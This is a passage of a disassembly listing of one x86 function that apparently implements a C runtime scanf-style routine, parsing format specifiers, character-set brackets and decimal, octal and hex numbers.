		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_42050C:				; CODE XREF: sub_420445+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43A88C, 1
		jle	short loc_420529
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420538
; ---------------------------------------------------------------------------


loc_420529:				; CODE XREF: sub_420445+D3j
		mov	ecx, off_43A680
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420538:				; CODE XREF: sub_420445+E2j
		test	eax, eax
		jz	short loc_42054E
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_4205B3
; ---------------------------------------------------------------------------


loc_42054E:				; CODE XREF: sub_420445+F5j
		cmp	ebx, 4Eh
		jg	short loc_420591
		jz	short loc_4205B3
		cmp	ebx, 2Ah
		jz	short loc_42058C
		cmp	ebx, 46h
		jz	short loc_4205B3
		cmp	ebx, 49h
		jz	short loc_42056E
		cmp	ebx, 4Ch
		jnz	short loc_4205A0
		inc	[ebp+var_D]
		jmp	short loc_4205B3
; ---------------------------------------------------------------------------


loc_42056E:				; CODE XREF: sub_420445+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_4205A0
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_4205A0
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_4205B3
; ---------------------------------------------------------------------------


loc_42058C:				; CODE XREF: sub_420445+113j
		inc	[ebp+var_E]
		jmp	short loc_4205B3
; ---------------------------------------------------------------------------


loc_420591:				; CODE XREF: sub_420445+10Cj
		cmp	ebx, 68h
		jz	short loc_4205AD
		cmp	ebx, 6Ch
		jz	short loc_4205A5
		cmp	ebx, 77h
		jz	short loc_4205A8


loc_4205A0:				; CODE XREF: sub_420445+122j
					; sub_420445+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_4205B3
; ---------------------------------------------------------------------------


loc_4205A5:				; CODE XREF: sub_420445+154j
		inc	[ebp+var_D]


loc_4205A8:				; CODE XREF: sub_420445+159j
		inc	[ebp+var_5]
		jmp	short loc_4205B3
; ---------------------------------------------------------------------------


loc_4205AD:				; CODE XREF: sub_420445+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_4205B3:				; CODE XREF: sub_420445+107j
					; sub_420445+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_42050C
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4205D8
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4205D8:				; CODE XREF: sub_420445+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4205F6
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4205F2
		cmp	al, 43h
		jz	short loc_4205F2
		or	[ebp+var_5], 0FFh
		jmp	short loc_4205F6
; ---------------------------------------------------------------------------


loc_4205F2:				; CODE XREF: sub_420445+1A1j
					; sub_420445+1A5j
		mov	[ebp+var_5], 1


loc_4205F6:				; CODE XREF: sub_420445+19Bj
					; sub_420445+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_42062F
		cmp	esi, 63h
		jz	short loc_420620
		cmp	esi, 7Bh
		jz	short loc_420620
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420ED2
		pop	ecx
		jmp	short loc_42062B
; ---------------------------------------------------------------------------


loc_420620:				; CODE XREF: sub_420445+1C5j
					; sub_420445+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420EA1


loc_42062B:				; CODE XREF: sub_420445+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_42062F:				; CODE XREF: sub_420445+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42063F
		cmp	[ebp+var_C], eax
		jz	loc_420E1B


loc_42063F:				; CODE XREF: sub_420445+1EFj
		cmp	esi, 6Fh
		jg	loc_4208A6
		jz	loc_420B58
		cmp	esi, 63h
		jz	loc_420883
		cmp	esi, 64h
		jz	loc_420B58
		jle	loc_4208D0
		cmp	esi, 67h
		jle	short loc_4206A3
		cmp	esi, 69h
		jz	short loc_42068B
		cmp	esi, 6Eh
		jnz	loc_4208D0
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420D86
		jmp	loc_420DAC
; ---------------------------------------------------------------------------


loc_42068B:				; CODE XREF: sub_420445+229j
		push	64h
		pop	esi


loc_42068E:				; CODE XREF: sub_420445+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_420918
		mov	[ebp+var_17], 1
		jmp	loc_42091D
; ---------------------------------------------------------------------------


loc_4206A3:				; CODE XREF: sub_420445+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_4206BF
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_4206C4
; ---------------------------------------------------------------------------


loc_4206BF:				; CODE XREF: sub_420445+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4206DB


loc_4206C4:				; CODE XREF: sub_420445+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4206DE
; ---------------------------------------------------------------------------


loc_4206DB:				; CODE XREF: sub_420445+27Dj
		mov	edi, [ebp+arg_0]


loc_4206DE:				; CODE XREF: sub_420445+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4206ED
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4206F4


loc_4206ED:				; CODE XREF: sub_420445+29Dj
		mov	[ebp+var_C], 15Dh


loc_4206F4:				; CODE XREF: sub_420445+2A6j
					; sub_420445+2F2j
		cmp	dword_43A88C, 1
		jle	short loc_420709
		push	4
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420714
; ---------------------------------------------------------------------------


loc_420709:				; CODE XREF: sub_420445+2B6j
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420714:				; CODE XREF: sub_420445+2C2j
		test	eax, eax
		jz	short loc_420739
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420739
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4206F4
; ---------------------------------------------------------------------------


loc_420739:				; CODE XREF: sub_420445+2D1j
					; sub_420445+2DBj
		cmp	byte_43A890, bl
		jnz	short loc_4207A7
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4207A7
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		mov	ebx, eax
		mov	al, byte_43A890
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_420762:				; CODE XREF: sub_420445+360j
		cmp	dword_43A88C, 1
		jle	short loc_420777
		push	4
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420782
; ---------------------------------------------------------------------------


loc_420777:				; CODE XREF: sub_420445+324j
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420782:				; CODE XREF: sub_420445+330j
		test	eax, eax
		jz	short loc_4207A7
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4207A7
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420762
; ---------------------------------------------------------------------------


loc_4207A7:				; CODE XREF: sub_420445+2FAj
					; sub_420445+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42083F
		cmp	ebx, 65h
		jz	short loc_4207BF
		cmp	ebx, 45h
		jnz	loc_42083F


loc_4207BF:				; CODE XREF: sub_420445+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42083F
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4207E6
		mov	[esi], al
		inc	esi
		jmp	short loc_4207EB
; ---------------------------------------------------------------------------


loc_4207E6:				; CODE XREF: sub_420445+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_420809


loc_4207EB:				; CODE XREF: sub_420445+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4207FA
		and	[ebp+var_C], eax
		jmp	short loc_420809
; ---------------------------------------------------------------------------


loc_4207FA:				; CODE XREF: sub_420445+3AEj
					; sub_420445+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420809:				; CODE XREF: sub_420445+3A4j
					; sub_420445+3B3j
		cmp	dword_43A88C, 1
		jle	short loc_42081E
		push	4
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420829
; ---------------------------------------------------------------------------


loc_42081E:				; CODE XREF: sub_420445+3CBj
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420829:				; CODE XREF: sub_420445+3D7j
		test	eax, eax
		jz	short loc_42083F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42083F
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4207FA
; ---------------------------------------------------------------------------


loc_42083F:				; CODE XREF: sub_420445+366j
					; sub_420445+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420EBB
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420E4B
		cmp	[ebp+var_E], 0
		jnz	loc_420DAC
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43AC30
		add	esp, 0Ch
		jmp	loc_420DAC
; ---------------------------------------------------------------------------


loc_420883:				; CODE XREF: sub_420445+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_420892
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_420892:				; CODE XREF: sub_420445+441j
		cmp	[ebp+var_5], 0
		jle	short loc_42089C
		mov	[ebp+var_16], 1


loc_42089C:				; CODE XREF: sub_420445+451j
		mov	edi, offset dword_43AB08
		jmp	loc_4209B1
; ---------------------------------------------------------------------------


loc_4208A6:				; CODE XREF: sub_420445+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420B54
		sub	eax, 3
		jz	loc_4209A2
		dec	eax
		dec	eax
		jz	loc_420B58
		sub	eax, 3
		jz	loc_42068E
		sub	eax, 3
		jz	short loc_4208F4


loc_4208D0:				; CODE XREF: sub_420445+21Bj
					; sub_420445+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420E1B
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420DAC
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420DAC
; ---------------------------------------------------------------------------


loc_4208F4:				; CODE XREF: sub_420445+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4208FE
		mov	[ebp+var_16], 1


loc_4208FE:				; CODE XREF: sub_420445+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_4209B5
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_4209B1
; ---------------------------------------------------------------------------


loc_420918:				; CODE XREF: sub_420445+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_42093F


loc_42091D:				; CODE XREF: sub_420445+259j
		dec	[ebp+var_C]
		jnz	short loc_42092E
		cmp	[ebp+var_20], 0
		jz	short loc_42092E
		mov	[ebp+var_F], 1
		jmp	short loc_42093F
; ---------------------------------------------------------------------------


loc_42092E:				; CODE XREF: sub_420445+4DBj
					; sub_420445+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_42093F:				; CODE XREF: sub_420445+4D6j
					; sub_420445+4E7j
		cmp	ebx, 30h
		jnz	loc_420B8D
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_42098D
		cmp	bl, 58h
		jz	short loc_42098D
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420977
		push	6Fh


loc_420971:				; CODE XREF: sub_420445+55Bj
		pop	esi
		jmp	loc_420B8D
; ---------------------------------------------------------------------------


loc_420977:				; CODE XREF: sub_420445+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420EBB
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420B8A
; ---------------------------------------------------------------------------


loc_42098D:				; CODE XREF: sub_420445+517j
					; sub_420445+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420EA1
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420971
; ---------------------------------------------------------------------------


loc_4209A2:				; CODE XREF: sub_420445+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_4209AC
		mov	[ebp+var_16], 1


loc_4209AC:				; CODE XREF: sub_420445+561j
		mov	edi, offset dword_43AB00


loc_4209B1:				; CODE XREF: sub_420445+45Cj
					; sub_420445+4CEj
		or	[ebp+var_18], 0FFh


loc_4209B5:				; CODE XREF: sub_420445+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4209D9
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_4209D9
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_4209DC
; ---------------------------------------------------------------------------


loc_4209D9:				; CODE XREF: sub_420445+584j
					; sub_420445+589j
		mov	dl, [ebp+var_35]


loc_4209DC:				; CODE XREF: sub_420445+592j
					; sub_420445+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420A41
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420A28
		test	dl, dl
		jz	short loc_420A28
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420A28
		inc	edi
		cmp	dl, cl
		jnb	short loc_4209FB
		mov	al, cl
		jmp	short loc_4209FF
; ---------------------------------------------------------------------------


loc_4209FB:				; CODE XREF: sub_420445+5B0j
		mov	al, dl
		mov	dl, cl


loc_4209FF:				; CODE XREF: sub_420445+5B4j
		cmp	dl, al
		ja	short loc_420A24
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420A0C:				; CODE XREF: sub_420445+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420A0C


loc_420A24:				; CODE XREF: sub_420445+5BCj
		xor	dl, dl
		jmp	short loc_4209DC
; ---------------------------------------------------------------------------


loc_420A28:				; CODE XREF: sub_420445+5A0j
					; sub_420445+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_4209DC
; ---------------------------------------------------------------------------


loc_420A41:				; CODE XREF: sub_420445+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420E4B
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420A53
		mov	[ebp+arg_4], edi


loc_420A53:				; CODE XREF: sub_420445+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420EBB
		pop	ecx
		pop	ecx


loc_420A6A:				; CODE XREF: sub_420445+6BCj
					; sub_420445+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420A7E
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420B1A


loc_420A7E:				; CODE XREF: sub_420445+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420B0E
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420B0E
		cmp	[ebp+var_E], 0
		jnz	short loc_420B06
		cmp	[ebp+var_16], 0
		jz	short loc_420AFB
		mov	ecx, off_43A680
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420ADA
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		pop	ecx
		mov	[ebp+var_37], al


loc_420ADA:				; CODE XREF: sub_420445+686j
		push	dword_43A88C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423DCB
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420AFE
; ---------------------------------------------------------------------------


loc_420AFB:				; CODE XREF: sub_420445+673j
		mov	[esi], al
		inc	esi


loc_420AFE:				; CODE XREF: sub_420445+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420A6A
; ---------------------------------------------------------------------------


loc_420B06:				; CODE XREF: sub_420445+66Dj
		inc	[ebp+var_30]
		jmp	loc_420A6A
; ---------------------------------------------------------------------------


loc_420B0E:				; CODE XREF: sub_420445+649j
					; sub_420445+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420EBB
		pop	ecx
		pop	ecx


loc_420B1A:				; CODE XREF: sub_420445+633j
		cmp	[ebp+var_30], esi
		jz	loc_420E4B
		cmp	[ebp+var_E], 0
		jnz	loc_420DAC
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420DAC
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420B4C
		and	word ptr [eax],	0
		jmp	loc_420DAC
; ---------------------------------------------------------------------------


loc_420B4C:				; CODE XREF: sub_420445+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420DAC
; ---------------------------------------------------------------------------


loc_420B54:				; CODE XREF: sub_420445+466j
		mov	[ebp+var_D], 1


loc_420B58:				; CODE XREF: sub_420445+203j
					; sub_420445+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420B66
		mov	[ebp+var_17], 1
		jmp	short loc_420B6B
; ---------------------------------------------------------------------------


loc_420B66:				; CODE XREF: sub_420445+719j
		cmp	ebx, 2Bh
		jnz	short loc_420B8D


loc_420B6B:				; CODE XREF: sub_420445+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420B7C
		cmp	[ebp+var_20], 0
		jz	short loc_420B7C
		mov	[ebp+var_F], 1
		jmp	short loc_420B8D
; ---------------------------------------------------------------------------


loc_420B7C:				; CODE XREF: sub_420445+729j
					; sub_420445+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420EA1
		pop	ecx
		mov	ebx, eax


loc_420B8A:				; CODE XREF: sub_420445+543j
		mov	[ebp+var_14], ebx


loc_420B8D:				; CODE XREF: sub_420445+4FDj
					; sub_420445+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420CA6
		cmp	[ebp+var_F], 0
		jnz	loc_420C84


loc_420BA1:				; CODE XREF: sub_420445+82Cj
		cmp	esi, 78h
		jnz	short loc_420BF5
		cmp	dword_43A88C, 1
		jle	short loc_420BBE
		push	80h
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420BCB
; ---------------------------------------------------------------------------


loc_420BBE:				; CODE XREF: sub_420445+768j
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420BCB:				; CODE XREF: sub_420445+777j
		test	eax, eax
		jz	loc_420C76
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423EA0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420E6A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420C48
; ---------------------------------------------------------------------------


loc_420BF5:				; CODE XREF: sub_420445+75Fj
		cmp	dword_43A88C, 1
		jle	short loc_420C0A
		push	4
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420C15
; ---------------------------------------------------------------------------


loc_420C0A:				; CODE XREF: sub_420445+7B7j
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420C15:				; CODE XREF: sub_420445+7C3j
		test	eax, eax
		jz	short loc_420C76
		cmp	esi, 6Fh
		jnz	short loc_420C33
		cmp	ebx, 38h
		jge	short loc_420C76
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423EA0
		jmp	short loc_420C42
; ---------------------------------------------------------------------------


loc_420C33:				; CODE XREF: sub_420445+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41DA20


loc_420C42:				; CODE XREF: sub_420445+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420C48:				; CODE XREF: sub_420445+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420C60
		dec	[ebp+var_C]
		jz	short loc_420C84


loc_420C60:				; CODE XREF: sub_420445+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420BA1
; ---------------------------------------------------------------------------


loc_420C76:				; CODE XREF: sub_420445+788j
					; sub_420445+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420EBB
		pop	ecx
		pop	ecx


loc_420C84:				; CODE XREF: sub_420445+756j
					; sub_420445+819j
		cmp	[ebp+var_17], 0
		jz	loc_420D6A
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420D6A
; ---------------------------------------------------------------------------


loc_420CA6:				; CODE XREF: sub_420445+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420D62


loc_420CB0:				; CODE XREF: sub_420445+90Aj
		cmp	esi, 78h
		jz	short loc_420CF4
		cmp	esi, 70h
		jz	short loc_420CF4
		cmp	dword_43A88C, 1
		jle	short loc_420CCF
		push	4
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420CDA
; ---------------------------------------------------------------------------


loc_420CCF:				; CODE XREF: sub_420445+87Cj
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CDA:				; CODE XREF: sub_420445+888j
		test	eax, eax
		jz	short loc_420D54
		cmp	esi, 6Fh
		jnz	short loc_420CED
		cmp	ebx, 38h
		jge	short loc_420D54
		shl	edi, 3
		jmp	short loc_420D2C
; ---------------------------------------------------------------------------


loc_420CED:				; CODE XREF: sub_420445+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420D2C
; ---------------------------------------------------------------------------


loc_420CF4:				; CODE XREF: sub_420445+86Ej
					; sub_420445+873j
		cmp	dword_43A88C, 1
		jle	short loc_420D0C
		push	80h
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_420D19
; ---------------------------------------------------------------------------


loc_420D0C:				; CODE XREF: sub_420445+8B6j
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420D19:				; CODE XREF: sub_420445+8C5j
		test	eax, eax
		jz	short loc_420D54
		push	ebx
		shl	edi, 4
		call	sub_420E6A
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420D2C:				; CODE XREF: sub_420445+8A6j
					; sub_420445+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420D3E
		dec	[ebp+var_C]
		jz	short loc_420D62


loc_420D3E:				; CODE XREF: sub_420445+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420CB0
; ---------------------------------------------------------------------------


loc_420D54:				; CODE XREF: sub_420445+897j
					; sub_420445+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420EBB
		pop	ecx
		pop	ecx


loc_420D62:				; CODE XREF: sub_420445+865j
					; sub_420445+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420D6A
		neg	edi


loc_420D6A:				; CODE XREF: sub_420445+843j
					; sub_420445+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420D73
		and	[ebp+var_1C], 0


loc_420D73:				; CODE XREF: sub_420445+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420E4B
		cmp	[ebp+var_E], 0
		jnz	short loc_420DAC
		inc	[ebp+var_34]


loc_420D86:				; CODE XREF: sub_420445+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420D9C
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420DAC
; ---------------------------------------------------------------------------


loc_420D9C:				; CODE XREF: sub_420445+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420DA9
		mov	[eax], edi
		jmp	short loc_420DAC
; ---------------------------------------------------------------------------


loc_420DA9:				; CODE XREF: sub_420445+95Ej
		mov	[eax], di


loc_420DAC:				; CODE XREF: sub_420445+241j
					; sub_420445+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420DF9
; ---------------------------------------------------------------------------


loc_420DB7:				; CODE XREF: sub_420445+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420E26
		mov	ecx, off_43A680
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420DF9
		inc	[ebp+var_4]
		push	edi
		call	sub_420EA1
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420E34
		dec	[ebp+var_4]


loc_420DF9:				; CODE XREF: sub_420445+970j
					; sub_420445+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420E0F
		cmp	byte ptr [esi],	25h
		jnz	short loc_420E51
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420E51
		mov	esi, eax


loc_420E0F:				; CODE XREF: sub_420445+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42046F
		jmp	short loc_420E4B
; ---------------------------------------------------------------------------


loc_420E1B:				; CODE XREF: sub_420445+1F4j
					; sub_420445+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420E2B
; ---------------------------------------------------------------------------


loc_420E26:				; CODE XREF: sub_420445+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420E2B:				; CODE XREF: sub_420445+9DFj
		call	sub_420EBB
		pop	ecx
		pop	ecx
		jmp	short loc_420E4B
; ---------------------------------------------------------------------------


loc_420E34:				; CODE XREF: sub_420445+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420EBB
